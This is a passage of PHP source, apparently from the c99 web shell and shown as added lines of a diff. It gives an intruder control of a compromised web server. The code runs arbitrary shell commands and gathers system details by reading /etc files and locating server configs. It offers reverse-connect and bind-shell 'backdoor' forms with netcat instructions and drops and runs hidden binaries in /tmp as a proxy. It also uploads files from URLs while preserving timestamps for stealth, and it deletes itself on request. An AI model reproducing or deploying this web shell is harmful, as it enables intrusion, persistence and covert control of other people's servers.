href=\"".$surl."act=f&f=syslog.conf&d=".urlencode("/etc")."&ft=txt\"><u><b>Syslog configuration (syslog.conf)</b></u></a></font></b><br>";} + if (file_get_contents("/etc/motd")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=motd&d=".urlencode("/etc")."&ft=txt\"><u><b>Message Of The Day</b></u></a></font></b><br>";} + if (file_get_contents("/etc/hosts")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=hosts&d=".urlencode("/etc")."&ft=txt\"><u><b>Hosts</b></u></a></font></b><br>";} + function displaysecinfo($name,$value) {if (!empty($value)) {if (!empty($name)) {$name = "<b>".$name." - </b>";} echo $name.nl2br($value)."<br>";}} + displaysecinfo("OS Version?",myshellexec("cat /proc/version")); + displaysecinfo("Kernel version?",myshellexec("sysctl -a | grep version")); + displaysecinfo("Distrib name",myshellexec("cat /etc/issue.net")); + displaysecinfo("Distrib name (2)",myshellexec("cat /etc/*-realise")); + displaysecinfo("CPU?",myshellexec("cat /proc/cpuinfo")); + displaysecinfo("RAM",myshellexec("free -m")); + displaysecinfo("HDD space",myshellexec("df -h")); + displaysecinfo("List of Attributes",myshellexec("lsattr -a")); + displaysecinfo("Mount options ",myshellexec("cat /etc/fstab")); + displaysecinfo("Is cURL installed?",myshellexec("which curl")); + displaysecinfo("Is lynx installed?",myshellexec("which lynx")); + displaysecinfo("Is links installed?",myshellexec("which links")); + displaysecinfo("Is fetch installed?",myshellexec("which fetch")); + displaysecinfo("Is GET installed?",myshellexec("which GET")); + displaysecinfo("Is perl installed?",myshellexec("which perl")); + displaysecinfo("Where is apache",myshellexec("whereis apache")); + displaysecinfo("Where is perl?",myshellexec("whereis perl")); + displaysecinfo("locate proftpd.conf",myshellexec("locate proftpd.conf")); + displaysecinfo("locate httpd.conf",myshellexec("locate httpd.conf")); + displaysecinfo("locate my.conf",myshellexec("locate my.conf")); + displaysecinfo("locate psybnc.conf",myshellexec("locate psybnc.conf")); +} +if ($act == "mkfile") +{ + if ($mkfile != $d) + { + if (file_exists($mkfile)) {echo "<b>Make File \"".htmlspecialchars($mkfile)."\"</b>: object alredy exists";} + elseif (!fopen($mkfile,"w")) {echo "<b>Make File \"".htmlspecialchars($mkfile)."\"</b>: access denied";} + else {$act = "f"; $d = dirname($mkfile); if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} $f = basename($mkfile);} + } + else {$act = $dspact = "ls";} +} +if ($act == "encoder") +{ + echo "<script>function set_encoder_input(text) {document.forms.encoder.input.value = text;}</script><b>Encoder:</b></br></br><form name=\"encoder\" action=\"".$surl."\" method=POST><input type=hidden name=act value=encoder><b>Input:</b><br><textarea name=\"encoder_input\" id=\"input\" cols=50 rows=5>".@htmlspecialchars($encoder_input)."</textarea><br><br><input type=submit value=\"calculate\"><br><br><b>Hashes</b>:</br></br>"; + foreach(array("md5","crypt","sha1","crc32") as $v) + { + echo $v." - <input type=text size=50 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".$v($encoder_input)."\" readonly><br>"; + } + echo "</br><b>Url:</b><br>urlencode - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".urlencode($encoder_input)."\" readonly> + <br>urldecode - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".htmlspecialchars(urldecode($encoder_input))."\" readonly> + </br></br><b>Base64:</b></br> base64_encode - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".base64_encode($encoder_input)."\" readonly>"; + echo "</br>base64_decode - "; + if (base64_encode(base64_decode($encoder_input)) != $encoder_input) {echo "<input type=text size=35 value=\"failed\" disabled readonly>";} + else + { + $debase64 = base64_decode($encoder_input); + $debase64 = str_replace("\0","[0]",$debase64); + $a = explode("\r\n",$debase64); + $rows = count($a); + $debase64 = htmlspecialchars($debase64); + if ($rows == 1) {echo "<input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".$debase64."\" id=\"debase64\" readonly>";} + else {$rows++; echo "<textarea cols=\"40\" rows=\"".$rows."\" onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" id=\"debase64\" readonly>".$debase64."</textarea>";} + echo "&nbsp;<a href=\"#\" onclick=\"set_encoder_input(document.forms.encoder.debase64.value)\"><b></b></a>"; + } + echo "</br></br><b>Base convertations</b>:</br></br>dec2hex - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\""; + $c = strlen($encoder_input); + for($i=0;$i<$c;$i++) + { + $hex = dechex(ord($encoder_input[$i])); + if ($encoder_input[$i] == "&") {echo $encoder_input[$i];} + elseif ($encoder_input[$i] != "\\") {echo "%".$hex;} + } + echo "\" readonly><br></form>"; +} +if ($act == "backc") +{ + $ip = $_SERVER["REMOTE_ADDR"]; + $msg = $_POST['backcconnmsg']; + $emsg = $_POST['backcconnmsge']; + echo("<b>Back-Connection:</b></br></br><form name=form method=POST>Host:<input type=text name=backconnectip size=15 value=$ip> Port: <input type=text name=backconnectport size=15 value=5992> Use: <select size=1 name=use><option value=Perl>Perl</option><option value=C>C</option></select> <input type=submit name=submit value=Connect></form>Click 'Connect' only after you open port for it first. Once open, use NetCat, and run '<b>nc -l -n -v -p 5992</b>'<br><br>"); + echo("$msg"); + echo("$emsg"); +} + +if ($act == "shbd"){ +$msg = $_POST['backcconnmsg']; +$emsg = $_POST['backcconnmsge']; +echo("<b>Bind Shell Backdoor:</b></br></br><form name=form method=POST> +Bind Port: <input type='text' name='backconnectport' value='5992'> +<input type='hidden' name='use' value='shbd'> +<input type='submit' value='Install Backdoor'></form>"); +echo("$msg"); +echo("$emsg"); +} + + +if ($act == "proxy") { + cf("/tmp/hantu.tgz",$proxy_shit); + ex("cd /tmp;tar -zxvf hantu.tgz"); + ex("cd /tmp;cd .setan;chmod 777 xh"); + ex("cd /tmp;cd .setan;chmod 777 httpd"); + ex("cd /tmp;cd .setan;./xh -s [kmod] ./httpd start"); + checkproxyhost(); + $msg = $_POST['proxyhostmsg']; + echo("$msg"); + unlink("/tmp/hantu.tgz"); + ex("cd /tmp; rm -r .setan"); +} + +if ($act == "selfremove") +{ + if (($submit == $rndcode) and ($submit != "")) + { + if (unlink(__FILE__)) {@ob_clean(); echo "Gone!"; c99shexit(); } + else {echo "<center><b>Can't delete ".__FILE__."!</b></center>";} + } + else + { + if (!empty($rndcode)) {echo "<b>Error: incorrect confimation!</b>";} + $rnd = rand(0,9).rand(0,9).rand(0,9); + echo "<form action=\"".$surl."\"><input type=hidden name=act value=selfremove><b>Self-remove: ".__FILE__." </br></br>For confirmation, enter \"".$rnd."\"</b>:&nbsp;<input type=hidden name=rndcode value=\"".$rnd."\"><input type=text name=submit>&nbsp;<input type=submit value=\"YES\"></form>"; + } +} +if ($act == "search"){ + echo "<b>Search file-system:</b></br></br>"; + if (empty($search_in)) {$search_in = $d;} + if (empty($search_name)) {$search_name = "(.*)"; $search_name_regexp = 1;} + if (empty($search_text_wwo)) {$search_text_regexp = 0;} + if (!empty($submit)) + { + $found = array(); + $found_d = 0; + $found_f = 0; + $search_i_f = 0; + $search_i_d = 0; + $a = array + ( + "name"=>$search_name, "name_regexp"=>$search_name_regexp, + "text"=>$search_text, "text_regexp"=>$search_text_regxp, + "text_wwo"=>$search_text_wwo, + "text_cs"=>$search_text_cs, + "text_not"=>$search_text_not + ); + $searchtime = getmicrotime(); + $in = array_unique(explode(";",$search_in)); + foreach($in as $v) {c99fsearch($v);} + $searchtime = round(getmicrotime()-$searchtime,4); + if (count($found) == 0) {echo "<b>No files found!</b>";} + else + { + $ls_arr = $found; + $disp_fullpath = TRUE; + $act = "ls"; + } + } + echo "<form method=POST> +<input type=hidden name=\"d\" value=\"".$dispd."\"><input type=hidden name=act value=\"".$dspact."\"> +<b>File/folder name: </b><input type=\"text\" name=\"search_name\" size=\"".round(strlen($search_name)+25)."\" value=\"".htmlspecialchars($search_name)."\">&nbsp;<input type=\"checkbox\" name=\"search_name_regexp\" value=\"1\" ".($search_name_regexp == 1?" checked":"")."> - regexp +<br><b>Directory:&nbsp;&nbsp; </b><input type=\"text\" name=\"search_in\" size=\"".round(strlen($search_in)+25)."\" value=\"".htmlspecialchars($search_in)."\"> +<br><b>Text:</b>&nbsp;&nbsp;<input type=text name=\"search_text\" size=42 value=".htmlspecialchars($search_text)."> + +<br><br><input type=\"checkbox\" name=\"search_text_regexp\" value=\"1\" ".($search_text_regexp == 1?" checked":"")."> - regexp +&nbsp;&nbsp;<input type=\"checkbox\" name=\"search_text_wwo\" value=\"1\" ".($search_text_wwo == 1?" checked":"")."> - <u>w</u>hole words only +&nbsp;&nbsp;<input type=\"checkbox\" name=\"search_text_cs\" value=\"1\" ".($search_text_cs == 1?" checked":"")."> - cas<u>e</u> sensitive +&nbsp;&nbsp;<input type=\"checkbox\" name=\"search_text_not\" value=\"1\" ".($search_text_not == 1?" checked":"")."> - find files <u>NOT</u> containing the text +<br><br><input type=submit name=submit value=\"Search\"></form>"; + if ($act == "ls") {$dspact = $act; echo "<hr size=\"1\" noshade><b>Search took ".$searchtime." secs (".$search_i_f." files and ".$search_i_d." folders, ".round(($search_i_f+$search_i_d)/$searchtime,4)." objects per second).</b><br><br>";} +} +if ($act == "chmod") +{ + $mode = fileperms($d.$f); + if (!$mode) {echo "<b>Change file-mode with error:</b> can't get current value.";} + else + { + $form = TRUE; + if ($chmod_submit) + { + $octet = "0".base_convert(($chmod_o["r"]?1:0).($chmod_o["w"]?1:0).($chmod_o["x"]?1:0).($chmod_g["r"]?1:0).($chmod_g["w"]?1:0).($chmod_g["x"]?1:0).($chmod_w["r"]?1:0).($chmod_w["w"]?1:0).($chmod_w["x"]?1:0),2,8); + if (chmod($d.$f,$octet)) {$act = "ls"; $form = FALSE; $err = "";} + else {$err = "Can't chmod to ".$octet.".";} + } + if ($form) + { + $perms = parse_perms($mode); + echo "<b>Changing file-mode (".$d.$f."), ".view_perms_color($d.$f)." (".substr(decoct(fileperms($d.$f)),-4,4).")</b><br>".($err?"<b>Error:</b> ".$err:"")."<form action=\"".$surl."\" method=POST><input type=hidden name=d value=\"".htmlspecialchars($d)."\"><input type=hidden name=f value=\"".htmlspecialchars($f)."\"><input type=hidden name=act value=chmod><table align=left width=300 border=0 cellspacing=0 cellpadding=5><tr><td><b>Owner</b><br><br><input type=checkbox NAME=chmod_o[r] value=1".($perms["o"]["r"]?" checked":"").">&nbsp;Read<br><input type=checkbox name=chmod_o[w] value=1".($perms["o"]["w"]?" checked":"").">&nbsp;Write<br><input type=checkbox NAME=chmod_o[x] value=1".($perms["o"]["x"]?" checked":"").">eXecute</td><td><b>Group</b><br><br><input type=checkbox NAME=chmod_g[r] value=1".($perms["g"]["r"]?" checked":"").">&nbsp;Read<br><input type=checkbox NAME=chmod_g[w] value=1".($perms["g"]["w"]?" checked":"").">&nbsp;Write<br><input type=checkbox NAME=chmod_g[x] value=1".($perms["g"]["x"]?" checked":"").">eXecute</font></td><td><b>World</b><br><br><input type=checkbox NAME=chmod_w[r] value=1".($perms["w"]["r"]?" checked":"").">&nbsp;Read<br><input type=checkbox NAME=chmod_w[w] value=1".($perms["w"]["w"]?" checked":"").">&nbsp;Write<br><input type=checkbox NAME=chmod_w[x] value=1".($perms["w"]["x"]?" checked":"").">eXecute</font></td></tr><tr><td><input type=submit name=chmod_submit value=\"Save\"></td></tr></table></form>"; + } + } +} +if ($act == "upload") +{ + $uploadmess = ""; + $uploadpath = str_replace("\\",DIRECTORY_SEPARATOR,$uploadpath); + if (empty($uploadpath)) {$uploadpath = $d;} + elseif (substr($uploadpath,-1) != "/") {$uploadpath .= "/";} + if (!empty($submit)) + { + global $HTTP_POST_FILES; + $uploadfile = $HTTP_POST_FILES["uploadfile"]; + if (!empty($uploadfile["tmp_name"])) + { + if (empty($uploadfilename)) {$destin = $uploadfile["name"];} + else {$destin = $userfilename;} + if (!move_uploaded_file($uploadfile["tmp_name"],$uploadpath.$destin)) {$uploadmess .= "Error uploading file ".$uploadfile["name"].". Can't copy \"".$uploadfile["tmp_name"]."\" to \"".$uploadpath.$destin."\".</br></br>";} + } + elseif (!empty($uploadurl)) + { + if (!empty($uploadfilename)) {$destin = $uploadfilename;} + else + { + $destin = explode("/",$destin); + $destin = $destin[count($destin)-1]; + if (empty($destin)) + { + $i = 0; + $b = ""; + while(file_exists($uploadpath.$destin)) {if ($i > 0) {$b = "_".$i;} $destin = "index".$b.".html"; $i++;}} + } + if ((!eregi("http://",$uploadurl)) and (!eregi("https://",$uploadurl)) and (!eregi("ftp://",$uploadurl))) {echo "<b>Incorect url!</b><br>";} + else + { + $st = getmicrotime(); + $content = @file_get_contents($uploadurl); + $dt = round(getmicrotime()-$st,4); + if (!$content) {$uploadmess .= "Can't download file!<br>";} + else + { + if ($filestealth) {$stat = stat($uploadpath.$destin);} + $fp = fopen($uploadpath.$destin,"w"); + if (!$fp) {$uploadmess .= "Error writing to file ".htmlspecialchars($destin)."!<br>";} + else + { + fwrite($fp,$content,strlen($content)); + fclose($fp); + if ($filestealth) {touch($uploadpath.$destin,$stat[9],$stat[8]);} + } + } + } + } + } + if ($miniform) + { + echo "<b>".$uploadmess."</b>"; + $act = "ls"; + } + else + { + echo "<b>File upload:</b><br><b>".$uploadmess."</b><form enctype=\"multipart/form-data\" action=\"".$surl."act=upload&d=".urlencode($d)."\" method=POST> +Select file on your local computer: <input name=\"uploadfile\" type=\"file\"><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;or<br> +Input URL: <input name=\"uploadurl\" type=\"text\" value=\"".htmlspecialchars($uploadurl)."\" size=\"70\"><br><br> +Save this file dir: <input name=\"uploadpath\" size=\"70\" value=\"".$dispd."\"><br><br> +File-name (auto-fill): <input name=uploadfilename size=25><br><br> +<input type=checkbox name=uploadautoname value=1 id=df4>&nbsp;convert file name to lovercase<br><br> +<input type=submit name=submit value=\"Upload\"> +</form>"; + } +} +if ($act == "delete") +{ + $delerr = ""; + foreach ($actbox as $v) + { + $result = FALSE; + $result = fs_rmobj($v); + if (!$result) {$delerr .= "Can't delete ".htmlspecialchars($v)."<br>";} + } + if (!empty($delerr)) {echo "<b>Deleting with errors:</b><br>".$delerr;} + $act = "ls"; +} +if (!$usefsbuff) +{ + if (($act == "paste") or ($act == "copy") or ($act == "cut") or ($act == "unselect")) {echo "<center><b>Sorry, buffer is disabled. For enable, set directive \"\$useFSbuff\" as TRUE.</center>";} +} +else +{ + if ($act == "copy") {$err = ""; $sess_data["copy"] = array_merge($sess_data["copy"],$actbox); c99_sess_put($sess_data); $act = "ls"; } + elseif ($act == "cut") {$sess_data["cut"] = array_merge($sess_data["cut"],$actbox); c99_sess_put($sess_data); $act = "ls";} + elseif ($act == "unselect") {foreach ($sess_data["copy"] as $k=>$v) {if (in_array($v,$actbox)) {unset($sess_data["copy"][$k]);}} foreach ($sess_data["cut"] as $k=>$v) {if (in_array($v,$actbox)) {unset($sess_data["cut"][$k]);}} c99_sess_put($sess_data); $act = "ls";} + if ($actemptybuff) {$sess_data["copy"] = $sess_data["cut"] = array(); c99_sess_put($sess_data);} + elseif ($actpastebuff) + { + $psterr = ""; + foreach($sess_data["copy"] as $k=>$v) + { + $to = $d.basename($v); + if (!fs_copy_obj($v,$to)) {$psterr .= "Can't copy ".$v." to ".$to."!<br>";} + if ($copy_unset) {unset($sess_data["copy"][$k]);} + } + foreach($sess_data["cut"] as $k=>$v) + { + $to = $d.basename($v); + if (!fs_move_obj($v,$to)) {$psterr .= "Can't move ".$v." to ".$to."!<br>";} + unset($sess_data["cut"][$k]); + } + c99_sess_put($sess_data); + if (!empty($psterr)) {echo "<b>Pasting with errors:</b><br>".$psterr;} + $act = "ls"; + } + elseif ($actarcbuff) + { + $arcerr = ""; + if (substr($actarcbuff_path,-7,7) == ".tar.gz") {$ext = ".tar.gz";} + else {$ext = ".tar.gz";} + if ($ext == ".tar.gz") {$cmdline = "tar cfzv";} + $cmdline .= " ".$actarcbuff_path; + $objects = array_merge($sess_data["copy"],$sess_data["cut"]); + foreach($objects as $v) + { + $v = str_replace("\\",DIRECTORY_SEPARATOR,$v); + if (substr($v,0,strlen($d)) == $d) {$v = basename($v);} + if (is_dir($v)) + { + if (substr($v,-1) != DIRECTORY_SEPARATOR) {$v .= DIRECTORY_SEPARATOR;} + $v .= "*"; + } + $cmdline .= " ".$v; + } + $tmp = realpath("."); + chdir($d); + $ret = myshellexec($cmdline); + chdir($tmp); + if (empty($ret)) {$arcerr .= "Can't call archivator (".htmlspecialchars(str2mini($cmdline,60)).")!<br>";} + $ret = str_replace("\r\n","\n",$ret); + $ret = explode("\n",$ret); + if ($copy_unset) {foreach($sess_data["copy"] as $k=>$v) {unset($sess_data["copy"][$k]);}} + foreach($sess_data["cut"] as $k=>$v) + { + if (in_array($v,$ret)) {fs_rmobj($v);} + unset($sess_data["cut"][$k]); + } + c99_sess_put($sess_data); + if (!empty($arcerr)) {echo "<b>Archivation errors:</b><br>".$arcerr;} + $act = "ls"; + } + elseif ($actpastebuff) + { + $psterr = ""; + foreach($sess_data["copy"] as $k=>$v) + { + $to = $d.basename($v); + if (!fs_copy_obj($v,$d)) {$psterr .= "Can't copy ".$v." to ".$to."!<br>";} + if ($copy_unset) {unset($sess_data["copy"][$k]);} + } + foreach($sess_data["cut"] as $k=>$v) + { + $to = $d.basename($v); + if (!fs_move_obj($v,$d)) {$psterr .= "Can't move ".$v." to ".$to."!<br>";} + unset($sess_data["cut"][$k]); + } + c99_sess_put($sess_data); + if (!empty($psterr)) {echo "<b>Pasting with errors:</b><br>".$psterr;} + $act = "ls"; + } +} +if ($act == "cmd") +{ +if (trim($cmd) == "ps aux") {$act = "processes";} +elseif (trim($cmd) == "tasklist") {$act = "processes";} +else +{ + @chdir($chdir); + if (!empty($submit)) + { + $execcmd = $_REQUEST['cmd']; + echo "Result Of Locally Executed Command: <b>$execcmd</b></br>"; + $olddir = realpath("."); + @chdir($d); + $ret = myshellexec($cmd); + $ret = convert_cyr_string($ret,"d","w"); + if ($cmd_txt) + { + $rows = count(explode("\r\n",$ret))+1; + if ($rows < 10) {$rows = 10;} + echo "<br><textarea cols=\"122\" rows=\"".$rows."\" readonly>".htmlspecialchars($ret)."</textarea>"; + } + else {echo $ret."<br>";} + @chdir($olddir); + } + else {echo "<b>Execution command</b>"; if (empty($cmd_txt)) {$cmd_txt = TRUE;}} + echo "<form action=\"".$surl."\" method=POST><input type=hidden name=act value=cmd><textarea name=cmd cols=122 rows=10>".htmlspecialchars($cmd)."</textarea><input type=hidden name=\"d\" value=\"".$dispd."\"><br><br><input type=submit name=submit value=\"Execute\">&nbsp;Display in text-area&nbsp;<input type=\"checkbox\" name=\"cmd_txt\" value=\"1\""; if ($cmd_txt) {echo " checked";} echo "></form>"; +} +} +if ($act == "ls") +{ + if (count($ls_arr) > 0) {$list = $ls_arr;} + else + { + $list = array(); + if ($h = @opendir($d)) + { + while (($o = readdir($h)) !== FALSE) {$list[] = $d.$o;} + closedir($h); + } + else {} + } + if (count($list) == 0) {echo "<center><b>Can't open folder ".htmlspecialchars($d)."</b></center>";} + else + { + //Building array + $objects = array(); + $vd = "f"; //Viewing mode + if ($vd == "f") + { + $objects["head"] = array(); + $objects["folders"] = array(); + $objects["links"] = array(); + $objects["files"] = array(); + foreach ($list as $v) + { + $o = basename($v); + $row = array(); + if ($o == ".") {$row[] = $d.$o; $row[] = "LINK";} + elseif ($o == "..") {$row[] = $d.$o; $row[] = "LINK";} + elseif (is_dir($v)) + { + if (is_link($v)) {$type = "LINK";} + else {$type = "DIR";} + $row[] = $v; + $row[] = $type; + } + elseif(is_file($v)) {$row[] = $v; $row[] = filesize($v);} + $row[] = filemtime($v); + if (!$win) + { + $ow = posix_getpwuid(fileowner($v)); + $gr = posix_getgrgid(filegroup($v)); + $row[] = ($ow["name"]?$ow["name"]:fileowner($v))."/".($gr["name"]?$gr["name"]:filegroup($v)); + } + $row[] = fileperms($v); + if (($o == ".") or ($o == "..")) {$objects["head"][] = $row;} + elseif (is_link($v)) {$objects["links"][] = $row;} + elseif (is_dir($v)) {$objects["folders"][] = $row;} + elseif (is_file($v)) {$objects["files"][] = $row;} + $i++; + } + $row = array(); + $row[] = "<b>Name</b>"; + $row[] = "<b>Size</b>"; + $row[] = "<b>Modify</b>"; + if (!$win) + {$row[] = "<b>Owner/Group</b>";} + $row[] = "<b>Perms</b>"; + $row[] = "<b>Action</b>"; + $parsesort = parsesort($sort); + $sort = $parsesort[0].$parsesort[1]; + $k = $parsesort[0]; + if ($parsesort[1] != "a") {$parsesort[1] = "d";} + $y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&sort=".$k.($parsesort[1] == "a"?"d":"a")."\">"; + $y .= "[Sort-".($parsesort[1] == "a"?"Asc.":"Desc")."]</a>"; + $row[$k] .= $y; + for($i=0;$i<count($row)-1;$i++) + { + if ($i != $k) {$row[$i] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&sort=".$i.$parsesort[1]."\">".$row[$i]."</a>";} + } + $v = $parsesort[0]; + usort($objects["folders"], "tabsort"); + usort($objects["links"], "tabsort"); + usort($objects["files"], "tabsort"); + if ($parsesort[1] == "d") + { + $objects["folders"] = array_reverse($objects["folders"]); + $objects["files"] = array_reverse($objects["files"]); + } + $objects = array_merge($objects["head"],$objects["folders"],$objects["links"],$objects["files"]); + $tab = array(); + $tab["cols"] = array($row); + $tab["head"] = array(); + $tab["folders"] = array(); + $tab["links"] = array(); + $tab["files"] = array(); + $i = 0; + foreach ($objects as $a) + { + $v = $a[0]; + $o = basename($v); + $dir = dirname($v); + if ($disp_fullpath) {$disppath = $v;} + else {$disppath = $o;} + $disppath = str2mini($disppath,60); + if (in_array($v,$sess_data["cut"])) {$disppath = "<strike>".$disppath."</strike>";} + elseif (in_array($v,$sess_data["copy"])) {$disppath = "<u>".$disppath."</u>";} + foreach ($regxp_highlight as $r) + { + if (ereg($r[0],$o)) + { + if ((!is_numeric($r[1])) or ($r[1] > 3)) {$r[1] = 0; ob_clean(); echo "Warning! Configuration error in \$regxp_highlight[".$k."][0] - unknown command."; c99shexit();} + else + { + $r[1] = round($r[1]); + $isdir = is_dir($v); + if (($r[1] == 0) or (($r[1] == 1) and !$isdir) or (($r[1] == 2) and !$isdir)) + { + if (empty($r[2])) {$r[2] = "<b>"; $r[3] = "</b>";} + $disppath = $r[2].$disppath.$r[3]; + if ($r[4]) {break;} + } + } + } + } + $uo = urlencode($o); + $ud = urlencode($dir); + $uv = urlencode($v); + $row = array(); + if ($o == ".") + { + $row[] = "&nbsp;<a href=\"".$surl."act=".$dspact."&d=".urlencode(realpath($d.$o))."&sort=".$sort."\">".$o."</a>"; + $row[] = "LINK"; + } + elseif ($o == "..") + { + $row[] = "&nbsp;<a href=\"".$surl."act=".$dspact."&d=".urlencode(realpath($d.$o))."&sort=".$sort."\">".$o."</a>"; + $row[] = "LINK"; + } + elseif (is_dir($v)) + { + if (is_link($v)) + { + $disppath .= " => ".readlink($v); + $type = "LINK"; + $row[] = "&nbsp;<a href=\"".$surl."act=ls&d=".$uv."&sort=".$sort."\">[".$disppath."]</a>"; + } + else + { + $type = "DIR"; + $row[] = "&nbsp;<a href=\"".$surl."act=ls&d=".$uv."&sort=".$sort."\">[".$disppath."]</a>"; + } + $row[] = $type; + } + elseif(is_file($v)) + { + $ext = explode(".",$o); + $c = count($ext)-1; + $ext = $ext[$c]; + $ext = strtolower($ext); + $row[] = "&nbsp;<a href=\"".$surl."act=f&f=".$uo."&d=".$ud."&\">".$disppath."</a>"; + $row[] = view_size($a[1]); + } + $row[] = date("d.m.Y H:i:s",$a[2]); + if (!$win) {$row[] = $a[3];} + $row[] = "<a href=\"".$surl."act=chmod&f=".$uo."&d=".$ud."\"><b>".view_perms_color($v)."</b></a>"; + if ($o == ".") {$checkbox = "<input type=\"checkbox\" name=\"actbox[]\" onclick=\"ls_reverse_all();\">"; $i--;} + else {$checkbox = "<input type=\"checkbox\" name=\"actbox[]\" id=\"actbox".$i."\" value=\"".htmlspecialchars($v)."\">";} + if (is_dir($v)) {$row[] = "<a href=\"".$surl."act=d&d=".$uv."\">[Info]</a>&nbsp;".$checkbox;} + else {$row[] = "<a href=\"".$surl."act=f&f=".$uo."&ft=info&d=".$ud."\">[Info]</a>&nbsp;<a href=\"".$surl."act=f&f=".$uo."&ft=edit&d=".$ud."\">[Change]</a>&nbsp;<a href=\"".$surl."act=f&f=".$uo."&ft=download&d=".$ud."\">[Download]</a>&nbsp;".$checkbox;} + if (($o == ".") or ($o == "..")) {$tab["head"][] = $row;} + elseif (is_link($v)) {$tab["links"][] = $row;} + elseif (is_dir($v)) {$tab["folders"][] = $row;} + elseif (is_file($v)) {$tab["files"][] = $row;} + $i++; + } + } + // Compiling table + $table = array_merge($tab["cols"],$tab["head"],$tab["folders"],$tab["links"],$tab["files"]); + echo "<center><b><u>Listing Folder: ".count($tab["files"])." files and ".(count($tab["folders"])+count($tab["links"]))." folders</u></b></center><br><TABLE cellSpacing=0 cellPadding=0 width=100% bgColor=#333333 borderColorLight=#433333 border=0><form action=\"".$surl."\" method=POST name=\"ls_form\"><input type=hidden name=act value=".$dspact."><input type=hidden name=d value=".$d.">"; + foreach($table as $row) + { + echo "<tr>\r\n"; + foreach($row as $v) {echo "<td>".$v."</td>\r\n";} + echo "</tr>\r\n"; + } + echo "</table><hr size=\"1\" noshade><p align=\"right\"> + <script> + function ls_setcheckboxall(status) + { + var id = 1; + var num = ".(count($table)-2)."; + while (id <= num) + { + document.getElementById('actbox'+id).checked = status; + id++; + } + } + function ls_reverse_all() + { + var id = 1; + var num = ".(count($table)-2)."; + while (id <= num) + { + document.getElementById('actbox'+id).checked = !document.getElementById('actbox'+id).checked; + id++; + } + } + </script> + <input type=\"button\" onclick=\"ls_setcheckboxall(true);\" value=\"Select all\">&nbsp;&nbsp;<input type=\"button\" onclick=\"ls_setcheckboxall(false);\" value=\"Unselect all\"> + <b>"; + if (count(array_merge($sess_data["copy"],$sess_data["cut"])) > 0 and ($usefsbuff)) + { + echo "<input type=submit name=actarcbuff value=\"Pack buffer to archive\">&nbsp;<input type=\"text\" name=\"actarcbuff_path\" value=\"archive_".substr(md5(rand(1,1000).rand(1,1000)),0,5).".tar.gz\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input type=submit name=\"actpastebuff\" value=\"Paste\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input type=submit name=\"actemptybuff\" value=\"Empty buffer\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;"; + } + echo "<select name=act><option value=\"".$act."\">With selected:</option>"; + echo "<option value=delete".($dspact == "delete"?" selected":"").">Delete</option>"; + echo "<option value=chmod".($dspact == "chmod"?" selected":"").">Change-mode</option>"; + if ($usefsbuff) + { + echo "<option value=cut".($dspact == "cut"?" selected":"").">Cut</option>"; + echo "<option value=copy".($dspact == "copy"?" selected":"").">Copy</option>"; + echo "<option value=unselect".($dspact == "unselect"?" selected":"").">Unselect</option>"; + } + echo "</select>&nbsp;<input type=submit value=\"Confirm\"></p>"; + echo "</form>"; + } +} + +if ($act == "processes") +{ + echo "<b>Processes:</b><br>"; + if (!$win) {$handler = "ps aux".($grep?" | grep '".addslashes($grep)."'":"");} + else {$handler = "tasklist";} + $ret = myshellexec($handler); + if (!$ret) {echo "</br>Can't execute \"".$handler."\"!";} + else + { + if (empty($processes_sort)) {$processes_sort = $sort_default;} + $parsesort = parsesort($processes_sort); + if (!is_numeric($parsesort[0])) {$parsesort[0] = 0;} + $k = $parsesort[0]; + if ($parsesort[1] != "a") {$y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."a\">[sort_desc]</a>";} + else {$y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."d\">[sort_asc]</a>";} + $ret = htmlspecialchars($ret); + if (!$win) + { + if ($pid) + { + if (is_null($sig)) {$sig = 9;} + echo "Sending signal ".$sig." to #".$pid."... "; + if (posix_kill($pid,$sig)) {echo "OK.";} + else {echo "ERROR.";} + } + while (ereg(" ",$ret)) {$ret = str_replace(" "," ",$ret);} + $stack = explode("\n",$ret); + $head = explode(" ",$stack[0]); + unset($stack[0]); + for($i=0;$i<count($head);$i++) + { + if ($i != $k) {$head[$i] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$i.$parsesort[1]."\"><b>".$head[$i]."</b></a>";} + } + $prcs = array(); + foreach ($stack as $line) + { + if (!empty($line)) +{ + echo "<tr>"; + $line = explode(" ",$line); + $line[10] = join(" ",array_slice($line,10)); + $line = array_slice($line,0,11); + if ($line[0] == get_current_user()) {$line[0] = "<font color=green>".$line[0]."</font>";} + $line[] = "<a href=\"".$surl."act=processes&d=".urlencode($d)."&pid=".$line[1]."&sig=9\"><u>KILL</u></a>"; + $prcs[] = $line; + echo "</tr>"; + } + } + } + else + { + while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} + while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} + while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} + while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} + while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} + while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} + while (ereg(" 